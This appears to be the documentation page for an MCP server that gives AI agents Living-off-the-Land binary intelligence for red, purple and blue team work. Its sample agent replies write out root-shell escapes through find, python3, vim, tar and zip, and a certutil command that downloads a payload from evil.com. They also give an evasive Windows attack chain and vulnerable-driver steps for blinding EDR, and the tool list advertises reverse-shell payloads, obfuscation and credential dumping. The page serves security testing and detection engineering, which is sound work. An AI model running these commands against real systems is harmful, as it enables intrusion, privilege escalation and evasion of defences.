living-off-the-land-lolbins-mcp-server
Click on "Deploy Server".
Wait a few minutes for the server to deploy. Once ready, it will show a "Started" state.
In the chat, type
@followed by the MCP server name and your instructions, e.g., "@living-off-the-land-lolbins-mcp-server Find LOLBins for Linux privilege escalation"
That's it! The server will respond to your query, and you can continue using it as needed.
Here is a step-by-step guide with screenshots.
The Problem
Living off the Land binary intelligence is the missing layer in every red team engagement, purple team exercise, and detection engineering workflow. The binaries you need to abuse, detect, and defend against are documented across 10+ catalogs, each with its own format, its own schema, its own platform focus:
Traditional LOL binary intel workflow:
Linux privilege escalation -> GTFOBins web interface
Windows LOL binaries -> LOLBAS project website
macOS native binaries -> LOOBins web interface
Vulnerable kernel drivers -> LOLDrivers project
Abusable RMM tools -> LOLRMM project
VMware ESXi binaries -> LOLESXi project
Living off trusted platforms -> LOTP project
C2 over legitimate services -> LOLC2 project
Firmware/BIOS/cabinet abuse -> LOFLCAB project
Active Directory attacks -> WADComs web interface
cross-platform correlation -> copy-paste into a spreadsheet
ATT&CK mapping -> manual lookup in Navigator
detection rule writing -> start from scratch every time
────────────────────────────────────
Total: hours per engagement, most of it switching contexts and reformatting dataliving-off-the-land-lolbins-mcp-server gives your AI agent 59 composite tools (321 total tools) across 10 LOL catalogs via the Model Context Protocol. The agent queries all catalogs in parallel, correlates binaries across platforms, discovers escalation paths, generates detection rules, and presents a unified attack/defense picture — in a single conversation.
With living-off-the-land-lolbins-mcp-server:
You: "I need to escalate privileges on a Linux box with curl, python3, and find available"
Agent: -> lol_lookup {binary: "curl", platform: "linux"}
-> lol_lookup {binary: "python3", platform: "linux"}
-> lol_lookup {binary: "find", platform: "linux"}
-> lol_privesc_paths {binaries: ["curl","python3","find"], platform: "linux"}
-> lol_detect_rules {binary: "find", technique: "suid"}
-> "3 escalation paths found:
1. find (SUID) — spawn shell via -exec: find . -exec /bin/sh -p \; -quit
2. python3 (SUID) — python3 -c 'import os; os.execl("/bin/sh","sh","-p")'
3. curl (sudo) — if sudo curl is allowed, file read via -o or write via -O
MITRE ATT&CK: T1548.001 (Setuid/Setgid), T1059.006 (Python)
Sigma rule generated for sysmon file creation + process exec patterns.
Detection: monitor execve() calls from find/python3 with euid!=uid."Related MCP server: OnlineCyberTools MCP (280+ filterable tools)
How It's Different
Existing tools give you raw data one catalog at a time. living-off-the-land-lolbins-mcp-server gives your AI agent the ability to reason across all LOL catalogs simultaneously for attack planning, defense validation, and purple team exercises.
Quick Start
Option 1: npx (no install)
npx living-off-the-land-lolbins-mcp-serverAll tools work immediately. No API keys required — all 10 LOL catalogs are open-source data.
Option 2: Clone
git clone https://github.com/badchars/living-off-the-land-lolbins-mcp-server.git
cd living-off-the-land-lolbins-mcp-server
bun installConnect to your AI agent
# With npx
claude mcp add lolbins-mcp-server -- npx living-off-the-land-lolbins-mcp-server
# With local clone
claude mcp add lolbins-mcp-server -- bun run /path/to/living-off-the-land-lolbins-mcp-server/src/index.tsAdd to ~/Library/Application Support/Claude/claude_desktop_config.json:
{
"mcpServers": {
"lolbins": {
"command": "npx",
"args": ["-y", "living-off-the-land-lolbins-mcp-server"]
}
}
}Same JSON config format. Point the command to npx living-off-the-land-lolbins-mcp-server or your local installation path.
CLI Usage
# List composite tools (59)
npx living-off-the-land-lolbins-mcp-server --list
# List all tools including sub-tools (321)
npx living-off-the-land-lolbins-mcp-server --list-all
# Show help
npx living-off-the-land-lolbins-mcp-server --help
# Run any tool directly
npx living-off-the-land-lolbins-mcp-server --tool lol_lookup '{"binary":"curl","platform":"linux"}'
npx living-off-the-land-lolbins-mcp-server --tool lol_privesc_paths '{"binaries":["find","python3"],"platform":"linux"}'
npx living-off-the-land-lolbins-mcp-server --tool lol_detect_sigma '{"binary":"certutil.exe","technique":"download"}'
npx living-off-the-land-lolbins-mcp-server --tool lol_driver_check '{"driver":"RTCore64.sys"}'Start querying
You: "What LOL binaries on Windows can I use for lateral movement without dropping files to disk?"That's it. The agent searches LOLBAS, correlates with ATT&CK, checks for detection coverage, and presents the full picture automatically.
What The AI Can Do
LOL Binary Lookup & Cross-Platform Correlation
You: "Look up certutil.exe across all platforms and catalogs"
Agent: -> lol_lookup {binary: "certutil.exe"}
-> lol_cross_platform {binary: "certutil"}
-> lol_attack_map {binary: "certutil.exe"}
-> "certutil.exe — Windows LOL binary (LOLBAS):
Functions: Download (ADS), Encode/Decode (Base64), Alternate Data Streams
ATT&CK: T1140 (Deobfuscate), T1105 (Ingress Tool Transfer), T1564.004 (ADS)
Commands:
Download: certutil -urlcache -split -f http://evil.com/payload.exe out.exe
Encode: certutil -encode payload.exe encoded.txt
Decode: certutil -decode encoded.txt payload.exe
Cross-platform equivalents:
Linux: curl, wget, openssl (GTFOBins)
macOS: curl, security (LOOBins)
Detection: Sysmon EventID 1 (ProcessCreate) + EventID 11 (FileCreate)
Sigma rule generated."Privilege Escalation Path Discovery
You: "I have sudo access to vim, tar, and zip on Linux. Find escalation paths."
Agent: -> lol_privesc_paths {binaries: ["vim","tar","zip"], platform: "linux"}
-> lol_lookup {binary: "vim", platform: "linux"}
-> lol_lookup {binary: "tar", platform: "linux"}
-> lol_lookup {binary: "zip", platform: "linux"}
-> "3 privilege escalation paths found:
1. vim (sudo) — :!/bin/sh — drops to root shell immediately
2. tar (sudo) — tar cf /dev/null testfile --checkpoint=1
--checkpoint-action=exec=/bin/sh — shell via checkpoint
3. zip (sudo) — zip /tmp/x.zip /etc/hosts -T
-TT 'sh #' — shell via test command
Risk: HIGH — all three provide immediate root shell
MITRE: T1548.003 (Sudo and Sudo Caching)
Remediation: restrict sudo to specific flags, use sudoers NOEXEC"Detection Engineering
You: "Generate detection rules for mshta.exe abuse"
Agent: -> lol_detect_sigma {binary: "mshta.exe", technique: "execute"}
-> lol_detect_yara {binary: "mshta.exe"}
-> lol_detect_sysmon {binary: "mshta.exe"}
-> lol_detect_edr {binary: "mshta.exe"}
-> "Detection package for mshta.exe (LOLBAS):
Sigma: Process creation rule matching mshta.exe spawning
cmd.exe/powershell.exe + network connection rule
YARA: Rule matching mshta.exe loading VBScript/JScript payloads
Sysmon: EventID 1 (child process) + EventID 3 (network)
config snippet provided
EDR (KQL): DeviceProcessEvents query for mshta.exe
with suspicious command-line patterns
Coverage: T1218.005 (Mshta), T1059.005 (VBScript)"Environment Enumeration & Attack Planning
You: "I'm on a Windows 10 box. Enumerate which LOL binaries are available and plan an attack chain."
Agent: -> lol_enum_environment {platform: "windows", version: "10"}
-> lol_attack_graph {platform: "windows", objective: "persistence"}
-> lol_opsec_check {techniques: ["certutil","mshta","schtasks"]}
-> "Windows 10 LOL binary inventory:
154 LOLBAS binaries available by default
12 LOLDrivers vulnerable drivers known for Win10
8 LOLRMM tools commonly present
Attack chain (initial access -> persistence):
1. mshta.exe — execute HTA payload (T1218.005)
2. certutil.exe — download additional tools (T1105)
3. schtasks.exe — establish persistence (T1053.005)
OPSEC warnings:
- certutil download triggers Defender ATP alert
- mshta.exe flagged by most EDR products
- schtasks.exe is heavily monitored
Alternatives with lower detection:
- Use desktopimgdownldr.dll for download instead of certutil
- Use msiexec for execution instead of mshta"Purple Team Exercise Generation
You: "Create a purple team exercise around LOLDrivers and BYOVD"
Agent: -> lol_purple_exercise {topic: "BYOVD", catalogs: ["loldrivers"]}
-> lol_driver_search {query: "kernel", vulnerable: true}
-> lol_detect_rules {technique: "BYOVD"}
-> "Purple Team Exercise: Bring Your Own Vulnerable Driver (BYOVD)
Red Team Steps:
1. Deploy RTCore64.sys (known vulnerable, CVE-2019-16098)
2. Load driver via sc.exe create / sc.exe start
3. Use driver to disable kernel callbacks (EDR bypass)
Blue Team Validation:
1. Verify driver load events (Sysmon EventID 6)
2. Check driver signature against LOLDrivers blocklist
3. Monitor for kernel callback removal
Scoring: red success if EDR blind, blue success if detected in <5min
MITRE: T1068 (Exploitation for Privilege Escalation)
Caldera profile exported."Tools Reference (59 Composite Tools)
Tool | Description |
| Look up a specific binary/tool across all 10 LOL catalogs — returns functions, commands, ATT&CK mapping, detection notes |
| Full-text search across all catalogs by keyword, technique, or ATT&CK ID |
| List all available LOL catalogs with entry counts, last update time, and status |
Tool | Description |
| Enumerate LOL binaries available on a target platform/version — returns full inventory of abusable binaries |
| Build an attack graph from initial access to objective using available LOL binaries with BFS/DFS path finding |
| Correlate a binary across Linux, Windows, macOS, and ESXi — shows equivalent abuse techniques per platform |
| Map dependencies between LOL binaries — which binaries enable or chain into others |
Tool | Description |
| Discover privilege escalation paths given a list of available binaries and current access level |
| Audit SUID/SGID binaries against GTFOBins for exploitable privilege escalation vectors |
| Audit sudoers entries against GTFOBins for escalation via sudo misconfigurations |
Tool | Description |
| Enumerate persistence techniques achievable with available LOL binaries on the target platform |
| Generate detection logic for LOL binary persistence mechanisms — registry keys, scheduled tasks, launch agents |
Tool | Description |
| Find lateral movement techniques using LOL binaries — WMI, PsExec alternatives, SSH, RDP pivoting |
| Discover fileless lateral movement options that leave minimal forensic artifacts |
Tool | Description |
| Enumerate defense evasion techniques for a binary — AMSI bypass, ETW patching, log evasion |
| Find AppLocker/WDAC bypass techniques using LOL binaries present on the system |
| Discover AMSI bypass methods via LOL binaries and native Windows tools |
| Find techniques to evade or tamper with logging using LOL binaries |
| Discover EDR bypass and blinding techniques using LOL binaries and vulnerable drivers |
Tool | Description |
| Find credential dumping and harvesting techniques using LOL binaries — SAM, LSASS, keychain |
| Enumerate credential stores accessible via LOL binaries on the target platform |
Tool | Description |
| Enumerate all execution techniques for a binary — command execution, script hosting, DLL loading |
| Find fileless execution methods using LOL binaries — in-memory, reflective loading, living-off-the-land |
| Discover execution proxy techniques — binaries that can execute other binaries indirectly |
Tool | Description |
| Find host and network discovery techniques using LOL binaries — enumeration, recon, fingerprinting |
| Enumerate data collection and staging techniques via LOL binaries |
Tool | Description |
| Find data exfiltration techniques using LOL binaries — DNS, HTTP, ICMP, alternate protocols |
| Discover C2 channel options using legitimate services and LOL binaries (LOLC2 catalog) |
| Generate C2 profiles using LOL binaries that blend with normal traffic patterns |
Tool | Description |
| Generate LOL binary abuse payloads for a given technique and platform |
| Encode/obfuscate payloads using LOL binary capabilities — certutil, base64, compress |
| Find payload delivery methods using LOL binaries — download cradles, staged delivery |
| Discover command obfuscation techniques for LOL binary abuse commands |
Tool | Description |
| Check a driver against the LOLDrivers database — known vulnerable, known malicious, CVEs, hashes |
| Audit installed RMM tools against LOLRMM catalog — identify abusable remote management software |
| Search LOFLCAB catalog for firmware, BIOS, and cabinet file abuse techniques |
Tool | Description |
| Deep dive into GTFOBins for a Linux binary — all functions, shell escapes, file operations |
| Deep dive into LOLBAS for a Windows binary — all functions, ATT&CK, detection, paths |
| Deep dive into LOLESXi for ESXi binary abuse — VM escape, hypervisor manipulation |
Tool | Description |
| Evaluate OPSEC risk for a set of LOL binary techniques — detection likelihood, EDR coverage, noise level |
| Generate a full engagement plan using LOL binaries for a given objective and constraints |
Tool | Description |
| Map LOL binary usage to known threat actors and APT groups |
| Analyze a set of LOL techniques against known campaigns and intrusion sets |
| Get trending LOL binary abuse techniques from recent threat intelligence |
Tool | Description |
| Enumerate forensic artifacts left by LOL binary abuse — logs, registry, prefetch, shimcache |
| Correlate LOL binary execution events into an incident timeline |
| Generate forensic hunting queries for LOL binary abuse artifacts across log sources |
Tool | Description |
| Generate Sigma detection rules for LOL binary abuse techniques |
| Generate YARA rules for identifying LOL binary abuse patterns in files and memory |
| Generate Sysmon configuration entries for monitoring LOL binary activity |
| Generate EDR queries (KQL, SPL, EQL) for LOL binary detection |
Tool | Description |
| Analyze detection coverage gaps for LOL binary techniques in your environment |
| Audit LOL binary execution baselines to identify anomalous usage patterns |
| Score red team techniques against blue team detection capabilities for LOL binaries |
Tool | Description |
| Search WADComs for Active Directory attack commands — Kerberoasting, DCSync, Pass-the-Hash, delegation abuse |
Tool | Description |
| Export findings as structured reports — JSON, Markdown, CSV formats |
| Export ATT&CK Navigator layer JSON for LOL binary technique coverage |
| Generate attack path visualizations — Mermaid diagrams, Graphviz DOT, ASCII art |
Tool | Description |
| Export LOL binary attack chains as MITRE Caldera adversary profiles for automated simulation |
Data Sources (10)
Catalog | Platform | Entries | Type | What it provides |
Linux/Unix | 400+ | Static/GitHub | Unix binaries exploitable for privilege escalation, file ops, shell escape, SUID abuse | |
Windows | 250+ | Static/GitHub | Windows LOL binaries, scripts, and libraries for execution, evasion, persistence | |
macOS | 50+ | Static/GitHub | macOS native binaries abusable for offensive operations | |
Windows (kernel) | 700+ | API/GitHub | Vulnerable and malicious kernel drivers for BYOVD attacks | |
Cross-platform | 100+ | Static/GitHub | Legitimate RMM tools abused for persistence and remote access | |
VMware ESXi | 30+ | Static/GitHub | ESXi binaries for VM escape, hypervisor manipulation, ransomware deployment | |
Cross-platform | 40+ | Static/GitHub | Trusted platforms and services abused for malicious purposes | |
Cross-platform | 30+ | Static/GitHub | Legitimate services abused as command-and-control channels | |
Cross-platform | 20+ | Static/GitHub | Firmware, BIOS, and cabinet file abuse techniques | |
Windows AD | 150+ | Static/GitHub | Active Directory attack commands and techniques |
Architecture
src/
index.ts # CLI entrypoint (--help, --list, --list-all, --tool, stdio server)
protocol/
mcp-server.ts # MCP server setup (stdio transport)
tools.ts # Tool registry — all 59 composite tools + 321 total tools
types/
index.ts # Shared types (ToolDef, ToolContext, ToolResult, CatalogEntry)
schema/
catalog.ts # Unified catalog schema (Zod)
technique.ts # ATT&CK technique schema
binary.ts # Binary/tool schema
utils/
rate-limiter.ts # Per-catalog rate limiter
cache.ts # TTL cache for catalog data
loader.ts # Catalog data loader (fetch + parse + normalize)
updater.ts # Catalog auto-updater (check for new entries)
catalogs/
gtfobins/ # GTFOBins parser and normalizer
lolbas/ # LOLBAS parser and normalizer
loobins/ # LOOBins parser and normalizer
loldrivers/ # LOLDrivers parser and normalizer
lolrmm/ # LOLRMM parser and normalizer
lolesxi/ # LOLESXi parser and normalizer
lotp/ # LOTP parser and normalizer
lolc2/ # LOLC2 parser and normalizer
loflcab/ # LOFLCAB parser and normalizer
wadcoms/ # WADComs parser and normalizer
index.ts # Catalog registry and loader index
knowledge-base/
attack-map.ts # MITRE ATT&CK mapping engine
binary-db.ts # Unified binary database (normalized from all catalogs)
technique-db.ts # Technique database with cross-references
environment/
enumerator.ts # Platform environment enumeration
platform-profiles.ts # Default binary inventories per OS/version
graph/
attack-graph.ts # Attack graph data structure
pathfinder.ts # BFS/DFS path finding algorithms
visualizer.ts # Mermaid, Graphviz, ASCII graph rendering
providers/
core/ # Core lookup, search, list tools (3)
environment/ # Environment & graph tools (4)
privesc/ # Privilege escalation tools (3)
persistence/ # Persistence tools (2)
lateral/ # Lateral movement tools (2)
evasion/ # Defense evasion tools (5)
credential/ # Credential access tools (2)
execution/ # Execution tools (3)
discovery/ # Discovery & collection tools (2)
exfiltration/ # Exfiltration & C2 tools (3)
payload/ # Payload & obfuscation tools (4)
drivers/ # Drivers, RMM, CI/CD tools (3)
platform/ # Platform deep dive tools (3)
opsec/ # OPSEC & planning tools (2)
threat-intel/ # Threat intelligence tools (3)
forensics/ # Forensics & IR tools (3)
detection/ # Detection engineering tools (4)
blue-team/ # Blue team analytics tools (3)
ad/ # AD & WADComs tools (1)
reporting/ # Reporting & visualization tools (3)
integration/ # Integration export tools (1)
composite/
index.ts # Composite tool orchestrator (chains sub-tools)
scripts/
update-catalogs.ts # Script to fetch and update all catalog data
build-knowledge-base.ts # Script to rebuild the unified knowledge baseDesign decisions:
10 catalogs, 1 server — Every LOL catalog is an independent module with its own parser and normalizer. The agent picks which catalogs to query based on the context.
Unified knowledge base — All 10 catalogs are normalized into a common schema, enabling cross-platform correlation and attack graph reasoning.
Composite tools — 59 composite tools orchestrate 321 underlying sub-tools, so the agent gets high-level capabilities without needing to chain dozens of calls.
Attack graph engine — BFS/DFS path finding over the binary dependency graph enables automated escalation path discovery and attack chain generation.
Detection generation — Sigma, YARA, Sysmon, and EDR query templates are built-in, not generated from scratch each time.
Zero API keys — All 10 LOL catalogs are open-source data. No authentication required for any tool.
TTL caching — Catalog data is cached locally with configurable TTL to avoid redundant fetches during multi-tool workflows.
Minimal dependencies —
@modelcontextprotocol/sdk,zod, andcheerio. All HTTP via nativefetch.
Requirements
Runtime: Bun 1.3.9+ (recommended) or Node.js 22+
Platform: macOS, Linux, Windows
Network: Internet access for initial catalog fetch (subsequent queries use cache)
Limitations
Catalog data freshness depends on upstream project update frequency
GTFOBins and LOLBAS have the most comprehensive entries; newer catalogs (LOFLCAB, LOLC2) have fewer
Attack graph reasoning is heuristic-based — paths represent possibilities, not guaranteed exploitation
Detection rules are templates that may need tuning for specific environments
LOLDrivers vulnerability data covers known CVEs only — 0-day driver vulnerabilities not included
WADComs requires Active Directory context for meaningful results
macOS / Linux tested (Windows not tested)
Part of the MCP Security Suite
Project | Domain | Tools |
Browser-based security testing | 39 tools, Firefox, injection testing | |
Cloud security (AWS/Azure/GCP) | 38 tools, 60+ checks | |
GitHub security posture | 39 tools, 45 checks | |
Vulnerability intelligence | 23 tools, 5 sources | |
OSINT & reconnaissance | 37 tools, 12 sources | |
Dark web & threat intelligence | 66 tools, 16 sources | |
living-off-the-land-lolbins-mcp-server | LOL binary intelligence | 59 composite tools, 10 catalogs |
Available Tools
59 toolsanalyze_binaryA
Deep analysis of a specific binary across all LOL catalogs. Returns full technique details, chain potential, detection surface analysis, functional alternatives, and computed risk score.
Inputs: binary (required), platform, analysis_type, environment_id.
analyze_detection_effectivenessB
Analyze detection rule effectiveness — rule vs technique coverage, false positive estimation, bypass probability, overall rule quality scoring.
Inputs: mode (required), binary, rule_name, technique_id.
analyze_environmentA
Multi-mode environment analysis: compute risk scores, map attack surface, prioritize objectives, compare environments, or generate attack timelines.
Inputs: mode (required), environment_id (required), timeline_steps, attack_objectives, +1 more.
analyze_forensic_artifactA
Analyze forensic artifacts for LOL technique indicators — Windows Event Logs, Process Monitor traces, EDR alerts, network captures.
Inputs: mode (required), event_id, alert_data, command_line, +1 more.
analyze_opsec_riskB
Analyze operational security risk — noise level, log footprint, EDR trigger probability, and safer alternatives for a given command
Inputs: command (required), platform (required), mode, edr_product.
assess_detection_gapsB
Assess detection coverage gaps for LOL techniques — Sigma coverage, EDR coverage, Sysmon events, priority gaps, rule recommendations, blind spots.
Inputs: mode (required), focus_area, edr_product, environment_id.
build_attack_planA
Build structured attack plans from environment assessment — plan generation, scoring, optimization, and export
Inputs: objectives (required), environment_id (required), mode, constraints, +2 more.
chain_obfuscationC
Chain multiple obfuscation layers together for multi-layer command obfuscation
Inputs: command (required), platform (required), mode, layers.
compare_os_versionsA
Compare LOL technique behavior across OS versions — binary behavior differences, technique validity, deprecation tracking, new capabilities.
Inputs: mode (required), binary, os_versions.
compare_platformsB
Cross-platform LOL binary comparison: find equivalents between platforms, compute coverage differences, assess portability of techniques, and build unified attack chains across environments.
Inputs: mode (required), binary, function, environment_ids, +2 more.
correlate_incident_timelineC
Correlate incident timeline events to LOL techniques — map events, identify attack sequences, reconstruct attack chains from evidence.
Inputs: mode (required), events, evidence.
discover_chainsB
Discover multi-step attack chains in an enumerated environment. Chains combine escalation, persistence, lateral movement, and exfiltration steps into coherent attack narratives with reasoning.
Inputs: chain_type (required), environment_id (required), end_goal, max_depth, +1 more.
enumerate_hostA
Parse host enumeration data (linpeas, winpeas, manual output), match against LOL knowledge base, and create an environment session for follow-up analysis. Returns matched binaries, attack surface summary, and top quick-win escalation paths.
Inputs: platform (required), enumeration_data (required), session_name.
export_caldera_profileB
Export MITRE Caldera-compatible profiles — adversary profiles, ability sets, operation plans.
Inputs: mode (required), actor_name, environment_id, operation_name.
export_reportA
Export findings and analysis as reports — JSON, Markdown, ATT&CK Navigator layer, CSV, executive summary.
Inputs: mode (required), classification, environment_id, include_sections.
find_antiforensicsA
Find anti-forensics techniques — log clearing, artifact deletion, timestomping, logging disable, track covering, shadow copy manipulation
Inputs: mode, platform, environment_id.
find_c2_channelsB
Find C2 communication channels using LOL binaries and trusted services — LOLC2, LOTS, tunneling, webhooks, DNS, protocol abuse.
Inputs: mode, domain, service_name, environment_id, +2 more.
find_cicd_abuseB
Find CI/CD pipeline abuse techniques — tool lookup from LOTP catalog, footgun search, pipeline poisoning, config exploitation, supply chain attacks.
Inputs: tag, mode, tool_name, config_file, +1 more.
find_cloud_abuseB
Find cloud CLI abuse techniques — AWS CLI, gcloud, Azure CLI, kubectl, and Terraform for reconnaissance, privilege escalation, persistence, and data access.
Inputs: mode, technique, environment_id.
find_collectionB
Find collection techniques using LOL binaries — file reading, screen capture, clipboard access, input capture.
Inputs: platform, target_data, environment_id, collection_type.
find_com_abuseB
Find COM object abuse techniques — hijacking, DCOM lateral movement, execution proxying, scriptlet loading.
Inputs: mode, environment_id.
find_container_escapeA
Find container and Docker escape techniques — Docker socket abuse, privileged container escape, CAP_SYS_ADMIN abuse, nsenter breakout, cgroup escape.
Inputs: mode, environment_id.
find_credential_accessB
Find credential access techniques — file harvesting, memory dumps, keychain access, registry credentials, token theft, and cached credentials.
Inputs: environment_id (required), target_user, credential_type.
find_defense_evasionC
Find defense evasion techniques — EDR bypass, AMSI bypass, AppLocker bypass, obfuscation, DLL sideloading, driver loading, ADS hiding, timestomping
Inputs: edr_product, evasion_type, target_binary, environment_id.
find_detection_blind_spotsB
Find detection blind spots — zero coverage techniques, partial coverage gaps, evasion-possible techniques, priority-ranked blind spots.
Inputs: mode (required), platform, environment_id.
find_discoveryB
Find discovery and enumeration techniques using LOL binaries — native enumeration, network scanning, service/user/file enumeration.
Inputs: platform, discovery_type, environment_id, stealth_priority.
find_dll_hijackB
Find DLL hijacking techniques — search order hijacking, known vulnerable apps, phantom DLLs, sideloading, proxying, validation
Inputs: mode, application, environment_id.
find_environment_variable_abuseB
Find environment variable abuse techniques — PATH hijacking, LD_PRELOAD, DYLD_INSERT_LIBRARIES, DLL search order, COMSPEC abuse
Inputs: mode, platform, environment_id.
find_escalation_pathsB
Find and rank all privilege escalation paths in an enumerated environment. Supports stealth-priority ranking, multi-step chains, token abuse paths, and container escape detection.
Inputs: environment_id (required), max_steps, include_token, include_chains, +3 more.
find_execution_proxyB
Find execution proxy techniques — signed binary proxy execution, compile-and-execute, script hosts, WMI execution, MMC snap-in abuse.
Inputs: platform, environment_id, execution_type, target_payload.
find_exfiltration_pathsB
Find exfiltration techniques using LOL binaries — HTTP, DNS, LOTS (Living off Trusted Sites), tunnels, ADS streams, ICMP.
Inputs: environment_id (required), data_size, target_data, channel_filter, +1 more.
find_initial_accessB
Find initial access techniques using LOL binaries — download-and-execute, compile, script hosts, macro execution, HTA execution.
Inputs: platform, access_type, bypass_required, delivery_method.
find_lateral_movementB
Find lateral movement techniques using LOL binaries — SSH, WinRM, SMB, RDP, credential reuse, and WMI.
Inputs: environment_id (required), target_hosts, protocol_filter, available_credentials.
find_macos_tcc_bypassB
Find macOS TCC (Transparency, Consent, and Control) bypass techniques — TCC bypass, entitlement abuse, SIP circumvention, Gatekeeper bypass.
Inputs: mode, environment_id, target_permission.
find_named_pipe_abuseB
Find named pipe abuse techniques — impersonation, C2 channels, relay, and discovery.
Inputs: mode, environment_id.
find_native_cryptoB
Find native cryptographic and encoding techniques using LOL binaries — certutil, openssl, gpg, base64, PowerShell.
Inputs: platform, operation, target_binary.
find_package_manager_abuseA
Find package manager abuse techniques — npm lifecycle hooks, pip setup.py, gem hooks, cargo build scripts.
Inputs: mode, target_registry.
find_persistence_pathsA
Find persistence mechanisms using LOL binaries — cron jobs, services, registry keys, startup items, launch agents, scheduled tasks, and DLL persistence.
Inputs: environment_id (required), mechanism_type, survive_reboot, assume_privilege.
find_process_manipulationB
Find process manipulation techniques — parent PID spoofing, process hollowing, LOL binary injection, doppelganging, herpaderping
Inputs: mode, environment_id.
find_rmm_abuseB
Find RMM (Remote Monitoring & Management) tool abuse techniques — installed tool check, persistence paths, detection artifacts, lateral pivoting, silent installation.
Inputs: mode, rmm_tools, target_rmm, environment_id.
find_token_abuseB
Analyze Windows token privileges in an enumerated environment and map them to known abuse techniques, potato attacks, and LOL binaries for privilege escalation.
Inputs: environment_id (required), token_type.
find_wmi_abuseC
Find WMI abuse techniques — persistence via event subscriptions, lateral movement, process execution, reconnaissance.
Inputs: mode, environment_id.
generate_detectionB
Generate detection rules and tests for LOL techniques — Sigma rules, YARA rules, Sysmon config, EDR queries, hunt queries, Atomic Red Team tests.
Inputs: mode (required), binary, attck_id, edr_product, +1 more.
generate_payloadC
Generate LOL binary payload information — command execution, reverse shells, bind shells, file read, file write payloads from the knowledge base
Inputs: payload_type (required), technique_id (required), encode, context, +4 more.
generate_purple_team_planB
Generate purple team exercise plans — red team plan, blue team detection, validation steps, combined exercise.
Inputs: mode (required), objectives, environment_id.
generate_staged_payloadB
Staged payload techniques — compression, encoding, filesystem hiding, scheduled extraction using native OS tools
Inputs: mode, platform, data_path.
identify_techniqueB
Identify LOL technique from forensic evidence — command line analysis, Sysmon events, process trees, EDR alerts.
Inputs: mode (required), command, event_id, alert_text, +2 more.
lookup_binaryB
Look up a binary/tool across all LOL catalogs (GTFOBins, LOLBAS, LOOBins, LOLDrivers, LOLRMM). Returns all known techniques, detection rules, cross-platform equivalents, and chain potential.
Inputs: binary (required), platform, include_related, include_detection.
map_attckB
Map LOL techniques to MITRE ATT&CK framework — technique lookup, coverage map, Navigator layer export, heatmap, gap analysis.
Inputs: mode (required), technique_id, tactic_filter, environment_id.
map_threat_actorB
Map threat actor TTPs to LOL binary techniques — actor-to-technique lookup, technique-to-actor reverse mapping, actor profiles, campaign analysis, and environment-based actor prediction.
Inputs: mode (required), actor, campaign, technique_id, +1 more.
obfuscate_payloadB
Obfuscate commands using LOL techniques — glob wildcards, encoding, alternative binaries, string concatenation, environment variable substitution
Inputs: method (required), command (required), platform (required), iterations, +1 more.
query_wadcomsA
Query WADComs (Windows/Active Directory Commands) database — search commands, filter by attack type, service, or required tool for AD attacks.
Inputs: mode, query, service, os_filter, +2 more.
scan_driversB
Scan and analyze drivers against LOLDrivers database — hash lookup, name lookup, BYOVD candidates, certificate checking, vulnerable driver matching.
Inputs: mode (required), target_edr, driver_list, include_malicious.
score_red_vs_blueB
Score red team vs blue team posture — detection coverage scoring, blind spot severity, overall security posture, improvement plan.
Inputs: mode (required), environment_id.
search_techniquesB
Search LOL techniques by function, ATT&CK ID, platform, stealth score, catalog, keyword, detection coverage, or combined filters. Returns matching entries with full details.
Inputs: mode (required), limit, offset, catalog, +7 more.
simulate_adversaryA
Simulate adversary behavior using LOL binaries — select simulation profile, generate playbook, validate environment, create execution plan.
Inputs: mode (required), objectives, actor_profile, environment_id.
track_technique_evolutionB
Track evolution of LOL binary techniques over time — usage history, OS version changes affecting techniques, and deprecated/removed techniques.
Inputs: mode (required), binary, os_version.
update_knowledge_baseB
Manage the LOL knowledge base: update all catalogs from upstream, update a specific catalog, show diffs, or display statistics.
Inputs: mode (required), since, catalog.
visualize_attack_pathC
Visualize attack paths and chains — Mermaid diagrams, Graphviz DOT, ASCII trees, JSON graph data.
Inputs: mode (required), path_type, environment_id.
Tool Schema Changelog
Recent tool additions, removals, and schema changes observed during successful MCP inspections.
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TDQS
Scored across 59 tools
Most tools target distinct attack techniques or functions (e.g., find_escalation_paths, find_c2_channels). Some overlap exists between generic tools like analyze_environment and enumerate_host, but the naming clearly differentiates most tools.
All tools follow a consistent verb_noun pattern in snake_case (e.g., find_credential_access, export_report, scan_drivers). No mixed conventions or ambiguous names.
With 59 tools, the server covers a broad domain but feels over-specialized with many niche tools (e.g., find_macos_tcc_bypass, find_rmm_abuse). Consolidation could improve usability.
The tool set covers a wide range of attack stages (initial access, persistence, detection, exfiltration, etc.) and includes analysis, planning, and reporting. Minor gaps exist but do not hinder core workflows.
Maintenance
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